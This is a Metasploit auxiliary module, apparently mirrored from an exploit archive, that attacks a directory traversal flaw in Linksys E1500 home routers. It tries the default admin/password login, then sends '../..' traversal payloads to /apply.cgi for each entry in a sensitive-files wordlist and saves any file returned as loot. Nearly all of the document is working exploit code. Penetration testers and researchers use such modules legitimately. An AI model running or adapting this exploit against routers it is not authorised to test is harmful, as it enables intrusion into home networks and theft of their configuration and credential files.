This Metasploit module exploits a directory traversal vulnerability which is present in different Linksys home routers, like the E1500.
1b266011b49f772cc08ef8b3e5dea3809e10c85a4414090de77d328704d8e8ad
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Linksys E1500 Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerability which is present in
different Linksys home routers, like the E1500.
},
'References' =>
[
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],
[ 'URL', 'http://homekb.cisco.com/Cisco2/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=1&docid=d7d0a87be9864e20bc347a73f194411f_KB_EN_v1.xml' ],
[ 'BID', '57760' ],
[ 'OSVDB', '89911' ],
[ 'EDB', '24475' ]
],
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE
)
register_options(
[
OptPath.new('SENSITIVE_FILES', [ true, "File containing sensitive files, one per line",
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
OptString.new('HttpUsername',[ true, 'User to login with', 'admin']),
OptString.new('HttpPassword',[ true, 'Password to login with', 'password']),
])
end
def extract_words(wordfile)
return [] unless wordfile && File.readable?(wordfile)
begin
File.readlines(wordfile, chomp: true)
rescue ::StandardError => e
elog(e)
[]
end
end
def find_files(file,user,pass)
uri = "/apply.cgi"
traversal = '../..'
data_trav = "submit_type=wsc_method2&change_action=gozila_cgi&next_page=" << traversal << file
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'authorization' => basic_auth(user,pass),
'vars_post' => {
"submit_type" => "wsc_method2",
"change_action" => "gozila_cgi",
"next_page" => traversal << file
}
})
# without res.body.length we get lots of false positives
if (res and res.code == 200 and res.body.length > 0)
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
report_web_vuln({
:host => rhost,
:port => rport,
:vhost => datastore['VHOST'],
:path => uri,
:pname => data_trav,
:risk => 3,
:proof => data_trav,
:name => self.fullname,
:category => "web",
:method => "POST"
})
loot = store_loot("linksys.traversal.data","text/plain", rhost, res.body, file)
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
elsif (res and res.code)
vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")
end
end
def run_host(ip)
user = datastore['HttpUsername']
pass = datastore['HttpPassword']
vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
# test login
begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
return if res.nil?
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /httpd/)
return if (res.code == 404)
if [200, 301, 302].include?(res.code)
vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
return
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
extract_words(datastore['SENSITIVE_FILES']).each do |file|
find_files(file, user, pass) unless file.empty?
end
end
end